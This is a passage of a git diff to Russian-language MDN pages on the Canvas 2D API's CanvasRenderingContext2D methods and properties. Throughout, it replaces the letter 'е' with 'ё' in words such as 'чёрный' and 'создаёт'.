a/files/ru/web/api/canvasrenderingcontext2d/fill/index.html b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html index d7ec3573d8..ddc127a9ad 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/fill/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fill --- <div>{{APIRef}}</div> -<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fill()</code></strong> метод Canvas 2D API заполняет текущий или заданный путём с текущим стилем заливки, используя одно из двух правил - ненулевого индекса или четно-нечетное.</p> +<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fill()</code></strong> метод Canvas 2D API заполняет текущий или заданный путём с текущим стилем заливки, используя одно из двух правил - ненулевого индекса или чётно-нечетное.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -28,7 +28,7 @@ void <var><em>ctx</em>.fill(path[, fillRule]);</var> Возможные значения: <ul> <li><code><strong>"nonzero</strong></code>": <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BD%D0%B5%D0%BD%D1%83%D0%BB%D0%B5%D0%B2%D0%BE%D0%B3%D0%BE_%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D0%B0">Правило ненулевого индекса</a>, значение по умолчанию</li> - <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">Четно-нечетное правило</a></li> + <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">Чётно-нечётное правило</a></li> </ul> </dd> <dt><code>path</code></dt> @@ -54,7 +54,7 @@ ctx.rect(10, 10, 100, 100); ctx.fill(); </pre> -<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:</p> +<p>Отредактируйте приведённый ниже код и посмотрите, как обновляется ваше обновление на холсте:</p> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> @@ -116,7 +116,7 @@ window.addEventListener("load", drawCanvas); <h2 id="Совместимость">Совместимость</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте запрос, чтобы мы изменили данные.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте запрос, чтобы мы изменили данные.</div> <p>{{Compat("api.CanvasRenderingContext2D.fill")}}</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html index a0df2eb821..17c6172158 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fillStyle --- <div>{{APIRef}}</div> -<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong>, предоставляемое <a href="/ru/docs/Web/API/Canvas_API">Canvas 2D API</a>, задает цвет или стиль, используемый при заливке фигур. По умолчанию установлено значение <code>#000</code> (черный цвет).</p> +<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong>, предоставляемое <a href="/ru/docs/Web/API/Canvas_API">Canvas 2D API</a>, задаёт цвет или стиль, используемый при заливке фигур. По умолчанию установлено значение <code>#000</code> (чёрный цвет).</p> <div class="blockIndicator note"> <p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p> @@ -57,7 +57,7 @@ ctx.fillRect(10, 10, 100, 100);</pre> <h3 id="Использование_fillStyle_в_циклах_for">Использование fillStyle в циклах for</h3> -<p>В этом примере мы используем два цикла для рисования сетки из прямоугольников, каждый из которых будет закрашен разным цветом. Получившееся изображение должно выглядеть как на скриншоте . Здесь нет ничего сложного. Мы используем две переменные <code>i</code> и <code>j</code>, чтобы создать уникальный цвет для каждого квадрата, смешивая красный и зеленый цвета. Значение синего цвета изменяться не будет. Изменяя значения цветов, вы можете создать все цвета. Увеличив количество шагов, вы сможете создать цветовую палитру, наподобие той, которая используется в Photoshop.</p> +<p>В этом примере мы используем два цикла для рисования сетки из прямоугольников, каждый из которых будет закрашен разным цветом. Получившееся изображение должно выглядеть как на скриншоте . Здесь нет ничего сложного. Мы используем две переменные <code>i</code> и <code>j</code>, чтобы создать уникальный цвет для каждого квадрата, смешивая красный и зелёный цвета. Значение синего цвета изменяться не будет. Изменяя значения цветов, вы можете создать все цвета. Увеличив количество шагов, вы сможете создать цветовую палитру, наподобие той, которая используется в Photoshop.</p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> diff --git a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html index ffa2b83d8c..7823142df3 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fillText --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillText(),</code></strong> предоставляемый Canvas 2D API, рисует (заливает) заданный текст в заданной позиции (<em>x, y</em>). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответствии с указанной максимальной шириной.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillText(),</code></strong> предоставляемый Canvas 2D API, рисует (заливает) заданный текст в заданной позиции (<em>x, y</em>). Если указан необязательный четвёртый параметр, текст будет масштабироваться в соответствии с указанной максимальной шириной.</p> <p>См. также метод {{domxref("CanvasRenderingContext2D.strokeText()")}} для выполнения обводки текста.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/font/index.html b/files/ru/web/api/canvasrenderingcontext2d/font/index.html index e1349eb001..572f0af5f3 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/font/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/font/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/CanvasRenderingContext2D/font <h3 id="Использование_пользовательского_шрифта">Использование пользовательского шрифта</h3> -<p>Этот пример задает в свойстве <code>font</code> другие <code>font-size</code> и <code>font-family</code>.</p> +<p>Этот пример задаёт в свойстве <code>font</code> другие <code>font-size</code> и <code>font-family</code>.</p> <h4 id="HTML">HTML</h4> diff --git a/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html index 879efff5f0..b2a236c22a 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html @@ -20,13 +20,13 @@ translation_of: Web/API/CanvasRenderingContext2D/getImageData <dl> <dt><code>sx</code></dt> - <dd>Координата x верхнего левого угла прямоугольника, из которого будет извлечен ImageData.</dd> + <dd>Координата x верхнего левого угла прямоугольника, из которого будет извлечён ImageData.</dd> <dt><code>sy</code></dt> - <dd>Координата y верхнего левого угла прямоугольника, из которого будет извлечен ImageData.</dd> + <dd>Координата y верхнего левого угла прямоугольника, из которого будет извлечён ImageData.</dd> <dt><code>sw</code></dt> - <dd>Ширина прямоугольника, из которого будет извлечен ImageData.</dd> + <dd>Ширина прямоугольника, из которого будет извлечён ImageData.</dd> <dt><code>sh</code></dt> - <dd>Высота прямоугольника, из которого будет извлечен ImageData.</dd> + <dd>Высота прямоугольника, из которого будет извлечён ImageData.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html index ec3adafad1..59559fe3cb 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/CanvasRenderingContext2D/getLineDash <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>{{jsxref("Array")}} (массив) чисел которые обозначают расстояния рисования линий и разрывов (в единицах пространства координат). Если число заданных элементов нечетное, то заданные элементы массива копируются и суммируются. Например, установив штрихи линии как <code>[5, 15, 25]</code> в результате мы получим <code>[5, 15, 25, 5, 15, 25]</code>.</p> +<p>{{jsxref("Array")}} (массив) чисел которые обозначают расстояния рисования линий и разрывов (в единицах пространства координат). Если число заданных элементов нечётное, то заданные элементы массива копируются и суммируются. Например, установив штрихи линии как <code>[5, 15, 25]</code> в результате мы получим <code>[5, 15, 25, 5, 15, 25]</code>.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html index f9ec551915..f2a0e38c0e 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html @@ -62,7 +62,7 @@ ctx.fillRect(50, 50, 100, 100); <h3 id="Наложение_прозрачных_фигур">Наложение прозрачных фигур</h3> -<p>Этот пример демонстрирует эффект наложения нескольких прозрачных фигур друг на друга. Мы начнем с отрисовки непрозрачного фона, состоящего из четырех разноцветных квадратов. Далее мы устанавливаем свойство <code>globalAlpha</code> равное <code>0.2</code> (20% прозрачности); Уровень прозрачности будет применен ко всем прозрачным фигурам. Затем мы используем цикл <code>for</code> для отрисовки нескольких кругов с увеличивающимися радиусами.</p> +<p>Этот пример демонстрирует эффект наложения нескольких прозрачных фигур друг на друга. Мы начнём с отрисовки непрозрачного фона, состоящего из четырёх разноцветных квадратов. Далее мы устанавливаем свойство <code>globalAlpha</code> равное <code>0.2</code> (20% прозрачности); Уровень прозрачности будет применён ко всем прозрачным фигурам. Затем мы используем цикл <code>for</code> для отрисовки нескольких кругов с увеличивающимися радиусами.</p> <p>Для каждого нового круга прозрачность кругов, находящихся под ним, уменьшается. Если вы увеличите количество шагов, тем самым увеличив количество кругов, фон в конечном итоге полностью исчезнет в центре изображения.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/index.html b/files/ru/web/api/canvasrenderingcontext2d/index.html index ba7e559918..149f72ee66 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/index.html @@ -37,7 +37,7 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.clearRect()")}}</dt> - <dd>Для всех пикселей, находящихся внутри прямоугольника, определенного начальной точкой <em>(x, y)</em> и размерами <em>(ширина, высота),</em> устанавливает черный прозрачный цвет, стирая любое ранее нарисованное содержимое.</dd> + <dd>Для всех пикселей, находящихся внутри прямоугольника, определённого начальной точкой <em>(x, y)</em> и размерами <em>(ширина, высота),</em> устанавливает чёрный прозрачный цвет, стирая любое ранее нарисованное содержимое.</dd> <dt>{{domxref("CanvasRenderingContext2D.fillRect()")}}</dt> <dd>Рисует залитый прямоугольник в позиции <em>(x, y)</em>, размеры которого определяются шириной <em>width</em> и высотой <em>height</em>.</dd> <dt>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</dt> @@ -71,7 +71,7 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{domxref("CanvasRenderingContext2D.miterLimit")}}</dt> <dd>Ограничение длины сопряжений. По умолчанию <code>10</code>.</dd> <dt>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</dt> - <dd>Возвращает текущий паттерн штриховой линии, который представляет собой массив, состоящий из четного количества неотрицательных чисел.</dd> + <dd>Возвращает текущий паттерн штриховой линии, который представляет собой массив, состоящий из чётного количества неотрицательных чисел.</dd> <dt>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</dt> <dd>Устанавливает текущий паттерн штриховой линии.</dd> <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</dt> @@ -99,20 +99,20 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.fillStyle")}}</dt> - <dd>Цвет или стиль применяемый внутри форм. По умолчанию #000 (черный).</dd> + <dd>Цвет или стиль применяемый внутри форм. По умолчанию #000 (чёрный).</dd> <dt>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</dt> - <dd>Цвет или стиль , применяемый к линиям вокруг формы. По умолчанию #000 (черный).</dd> + <dd>Цвет или стиль , применяемый к линиям вокруг формы. По умолчанию #000 (чёрный).</dd> </dl> <h2 id="Градиенты_и_шаблоны">Градиенты и шаблоны</h2> <dl> <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</dt> - <dd>Создает линейный градиент вдоль линии, задаваемой координатами, передаваемыми в параметры метода.</dd> + <dd>Создаёт линейный градиент вдоль линии, задаваемой координатами, передаваемыми в параметры метода.</dd> <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</dt> - <dd>Создает радиальный градиент, задаваемый координатами двух окружностей, передаваемыми в параметры метода.</dd> + <dd>Создаёт радиальный градиент, задаваемый координатами двух окружностей, передаваемыми в параметры метода.</dd> <dt>{{domxref("CanvasRenderingContext2D.createPattern()")}}</dt> - <dd>Создает шаблон, используя указанное изображение ({{domxref("CanvasImageSource")}}). Он повторяет исходное изображение в направлениях, указанных во втором аргументе. Этот метод возвращает {{domxref("CanvasPattern")}}.</dd> + <dd>Создаёт шаблон, используя указанное изображение ({{domxref("CanvasImageSource")}}). Он повторяет исходное изображение в направлениях, указанных во втором аргументе. Этот метод возвращает {{domxref("CanvasPattern")}}.</dd> </dl> <h2 id="Тени">Тени</h2> @@ -134,7 +134,7 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.beginPath()")}}</dt> - <dd>Создает новый пустой контур, обнуляя список фрагментов контура. Вызовите этот метод, когда захотите создать новый контур.</dd> + <dd>Создаёт новый пустой контур, обнуляя список фрагментов контура. Вызовите этот метод, когда захотите создать новый контур.</dd> <dt>{{domxref("CanvasRenderingContext2D.closePath()")}}</dt> <dd>Перемещает точку рисования назад к началу текущего фрагмента контура. Этот метод пытается провести прямую линию от текущей точки до начальной. Если форма уже закрыта или имеет только одну точку, метод ничего не делает.</dd> <dt>{{domxref("CanvasRenderingContext2D.moveTo()")}}</dt> @@ -152,7 +152,7 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}</dt> <dd>Добавляет к контуру эллипс, с центром в точке <em>(x, y)</em>, заданный радиусами <em>radiusX</em> и <em>radiusY</em>, имеющий угол начала <em>startAngle</em> и конца <em>endAngle</em>, рисующийся в направлении, заданном в аргументе <em>anticlockwise</em> (по умолчанию - по часовой стрелке).</dd> <dt>{{domxref("CanvasRenderingContext2D.rect()")}}</dt> - <dd>Создает контур прямоугольника с началом в точке <em>(x, y)</em>, и размерами, заданными шириной <em>width</em> и высотой <em>height</em>.</dd> + <dd>Создаёт контур прямоугольника с началом в точке <em>(x, y)</em>, и размерами, заданными шириной <em>width</em> и высотой <em>height</em>.</dd> </dl> <h2 id="Рисование_контуров">Рисование контуров</h2> @@ -167,7 +167,7 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}</dt> <dd>Прокручивает текущий или заданный контур в видимую область окна браузера.</dd> <dt>{{domxref("CanvasRenderingContext2D.clip()")}}</dt> - <dd>Создает область отсечения из текущих фрагментов контура. Все что рисуется после вызова метода <code>clip()</code> применяется только внутри области отсечения. Пример использования см. в разделе <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Области отсечения</a> руководства по Canvas.</dd> + <dd>Создаёт область отсечения из текущих фрагментов контура. Все что рисуется после вызова метода <code>clip()</code> применяется только внутри области отсечения. Пример использования см. в разделе <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Области отсечения</a> руководства по Canvas.</dd> <dt>{{domxref("CanvasRenderingContext2D.isPointInPath()")}}</dt> <dd>Позволяет узнать, содержится ли указанная точка в текущем контуре.</dd> <dt>{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}</dt> @@ -201,7 +201,7 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</dt> <dd>Значение альфа-канала, применяемое к формам и изображениям, прежде чем они накладываются на холст. Значение по умолчанию <code>1.0</code> (полностью непрозрачный).</dd> <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</dt> - <dd>Совместно с примененным <code>globalAlpha</code> это свойство определяет как формы и изображения накладываются на существующее изображение.</dd> + <dd>Совместно с применённым <code>globalAlpha</code> это свойство определяет как формы и изображения накладываются на существующее изображение.</dd> </dl> <h2 id="Рисование_изображений">Рисование изображений</h2> @@ -217,7 +217,7 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.createImageData()")}}</dt> - <dd>Создает новый пустой объект {{domxref("ImageData")}} с заданными размерами. Цвет всех пикселов в новом объекте устанавливается в прозрачный черный.</dd> + <dd>Создаёт новый пустой объект {{domxref("ImageData")}} с заданными размерами. Цвет всех пикселов в новом объекте устанавливается в прозрачный черный.</dd> <dt>{{domxref("CanvasRenderingContext2D.getImageData()")}}</dt> <dd>Возвращает объект {{domxref("ImageData")}}, представляющий данные о пикселах, расположенных под областью холста, ограниченной прямоугольником длиной <em>sw</em> и высотой <em>sh</em>, начальная точка которого находится в позиции <em>(sx, sy)</em>.</dd> <dt>{{domxref("CanvasRenderingContext2D.putImageData()")}}</dt> @@ -228,7 +228,7 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}</dt> - <dd>Режим сглаживания изображений; если отключен, изображения не будут сглаживаться при масштабировании.</dd> + <dd>Режим сглаживания изображений; если отключён, изображения не будут сглаживаться при масштабировании.</dd> </dl> <h2 id="Состояние_холста">Состояние холста</h2> @@ -237,9 +237,9 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.save()")}}</dt> - <dd>Сохраняет текущее состояние стилей рисования, используя для этого стек, так что вы можете отменить любые внесенные в него изменения с помощью метода <code>restore()</code>.</dd> + <dd>Сохраняет текущее состояние стилей рисования, используя для этого стек, так что вы можете отменить любые внесённые в него изменения с помощью метода <code>restore()</code>.</dd> <dt>{{domxref("CanvasRenderingContext2D.restore()")}}</dt> - <dd>Восстанавливает состояние стилей рисования в значение, сохраненное методом <code>save()</code> в стек состояний последним.</dd> + <dd>Восстанавливает состояние стилей рисования в значение, сохранённое методом <code>save()</code> в стек состояний последним.</dd> <dt>{{domxref("CanvasRenderingContext2D.canvas")}}</dt> <dd>Доступная только для чтения обратная ссылка на {{domxref("HTMLCanvasElement")}}. Может иметь значение {{jsxref("null")}}, если она не связана с элементом {{HTMLElement("canvas")}}.</dd> </dl> @@ -259,7 +259,7 @@ ctx.fillRect(10, 10, 55, 50); <h3 id="Blink_и_WebKit">Blink и WebKit</h3> -<p>Большинство из этих API являются <a href="https://code.google.com/p/chromium/issues/detail?id=363198">запрещенными и будут удалены в будущем</a>.</p> +<p>Большинство из этих API являются <a href="https://code.google.com/p/chromium/issues/detail?id=363198">запрещёнными и будут удалены в будущем</a>.</p> <dl> <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.clearShadow()</code></dt> @@ -307,9 +307,9 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitBackingStorePixelRatio</code></dt> <dd><span id="result_box" lang="ru"><span>Размер хранилища по отношению к элементу canvas</span></span>. Смотри <a href="http://www.html5rocks.com/en/tutorials/canvas/hidpi/">High DPI Canvas</a>.</dd> <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitGetImageDataHD</code></dt> - <dd>Предназначался для HD хранилищ, но удален из спецификации canvas.</dd> + <dd>Предназначался для HD хранилищ, но удалён из спецификации canvas.</dd> <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitPutImageDataHD</code></dt> - <dd>Предназначался для HD хранилищ, но удален из спецификации canvas.</dd> + <dd>Предназначался для HD хранилищ, но удалён из спецификации canvas.</dd> </dl> <dl> diff --git a/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html index ec4db4e6e2..9c1a2edd80 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html @@ -69,9 +69,9 @@ ctx.stroke(); <p>{{ EmbedLiveSample('Смещение_штрихов', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p> -<h3 id="Эффект_марширующих_муравьев">Эффект марширующих муравьев</h3> +<h3 id="Эффект_марширующих_муравьёв">Эффект марширующих муравьёв</h3> -<p><a href="https://en.wikipedia.org/wiki/Marching_ants">Эффект марширующих муравьев</a> - это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу..</p> +<p><a href="https://en.wikipedia.org/wiki/Marching_ants">Эффект марширующих муравьёв</a> - это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу..</p> <div class="hidden"> <h6 id="HTML_2">HTML</h6> @@ -102,7 +102,7 @@ const march = () => { march(); </pre> -<p>{{ EmbedLiveSample('Эффект_марширующих_муравьев', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p> +<p>{{ EmbedLiveSample('Эффект_марширующих_муравьёв', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html index 46de026437..503a024b40 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html @@ -29,7 +29,7 @@ translation_of: Web/API/CanvasRenderingContext2D/lineJoin <dl> <dt><code>round</code></dt> - <dd>Скругляет углы за счет добавления сектора с центром в точке пересечения линий и радиусом равным толщине линии.</dd> + <dd>Скругляет углы за счёт добавления сектора с центром в точке пересечения линий и радиусом равным толщине линии.</dd> <dt><code>bevel</code></dt> <dd>"Срезает" угол, рисуя треугольник с вершинами в точке пересечения линий и крайних точках каждой линии.</dd> <dt><code>miter</code></dt> diff --git a/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html index db3b7db1ae..c935fa4c67 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html @@ -58,7 +58,7 @@ ctx.stroke(); // Отображает путь</pre> <p>{{ EmbedLiveSample('Рисование_прямых_линий', 700, 180) }}</p> -<h3 id="Рисование_соединенных_линий">Рисование соединенных линий</h3> +<h3 id="Рисование_соединённых_линий">Рисование соединённых линий</h3> <p>Каждый вызов <code>lineTo()</code> автоматически добавляет текущий подпуть, это означает, что все линии будут обведены и закрашены вместе. Этот пример рисует букву 'M' линиями одного пути.</p> @@ -82,7 +82,7 @@ ctx.stroke();</pre> <h4 id="Результаты">Результаты</h4> -<p>{{ EmbedLiveSample('Рисование_соединенных_линий', 700, 180) }}</p> +<p>{{ EmbedLiveSample('Рисование_соединённых_линий', 700, 180) }}</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html index 08126dbb6d..c91b520c4a 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/lineWidth --- <div>{{APIRef}}</div> -<p><code>Свойство<strong> CanvasRenderingContext2D</strong></code><strong><code>.lineWidth</code></strong>, предоставляемое Canvas 2D API задает толщину линий в пикселах. При получении свойства возвращается его текущее значение. При задании свойства, присваиваемое значение должно быть положительным числом, ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.</p> +<p><code>Свойство<strong> CanvasRenderingContext2D</strong></code><strong><code>.lineWidth</code></strong>, предоставляемое Canvas 2D API задаёт толщину линий в пикселах. При получении свойства возвращается его текущее значение. При задании свойства, присваиваемое значение должно быть положительным числом, ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.</p> <p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/rect/index.html b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html index 532fdf1fdc..54b62df40b 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/rect/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/rect --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rect()</code></strong>, предоставляемый Canvas 2D API, создает контур прямоугольника в позиции <em>(x, y)</em>, размеры которого устанавливаются аргументами <em>width</em> и <em>height</em>. Четыре точки прямоугольника соединяются прямыми линиями, и получившийся фрагмент контура отмечается как замкнутый, так что вы можете выполнить его заливку или обрисовать контур.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rect()</code></strong>, предоставляемый Canvas 2D API, создаёт контур прямоугольника в позиции <em>(x, y)</em>, размеры которого устанавливаются аргументами <em>width</em> и <em>height</em>. Четыре точки прямоугольника соединяются прямыми линиями, и получившийся фрагмент контура отмечается как замкнутый, так что вы можете выполнить его заливку или обрисовать контур.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/restore/index.html b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html index 33feac8b7e..ee4375afd4 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/restore/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/restore --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.restore()</code></strong> восстанавливает предварительно сохраненное состояние канваса из стека. Если состояние ранее не сохранялось, то метод ничего не делает.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.restore()</code></strong> восстанавливает предварительно сохранённое состояние канваса из стека. Если состояние ранее не сохранялось, то метод ничего не делает.</p> <p>Fore more information about the <a href="/en-US/docs/Web/API/CanvasRenderingContext2D.save#Drawing_state">drawing state</a>, see {{domxref("CanvasRenderingContext2D.save()")}}.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html index d750bcdee3..6e09b6a98b 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/CanvasRenderingContext2D/rotate <h3 id="Использование_метода_rotate">Использование метода <code>rotate</code></h3> -<p>Ниже приведен простой пример кода, который использует метод <code>rotate</code>.</p> +<p>Ниже приведён простой пример кода, который использует метод <code>rotate</code>.</p> <h4 id="HTML">HTML</h4> @@ -46,7 +46,7 @@ ctx.fillRect(70, 0, 100, 30); ctx.setTransform(1, 0, 0, 1, 0, 0); </pre> -<p>Отредактируйте приведенный ниже код и посмотрите, как обновляются ваши изменения на холсте:</p> +<p>Отредактируйте приведённый ниже код и посмотрите, как обновляются ваши изменения на холсте:</p> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html index 4f5e3a7386..7daaa192ed 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html @@ -28,7 +28,7 @@ void <var><em>ctx</em>.stroke(path);</var> <h3 id="Использование_метода_stroke()">Использование метода <code>stroke()</code></h3> -<p>В этом примере с помощью метода <code>rect()</code> создается прямоугольник, и затем с помощью <code>stroke()</code> отрисовывается на холсте.</p> +<p>В этом примере с помощью метода <code>rect()</code> создаётся прямоугольник, и затем с помощью <code>stroke()</code> отрисовывается на холсте.</p> <h4 id="HTML">HTML</h4> @@ -43,7 +43,7 @@ ctx.rect(10, 10, 100, 100); ctx.stroke(); </pre> -<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется рисунок на холсте:</p> +<p>Отредактируйте приведённый ниже код и посмотрите, как обновляется рисунок на холсте:</p> 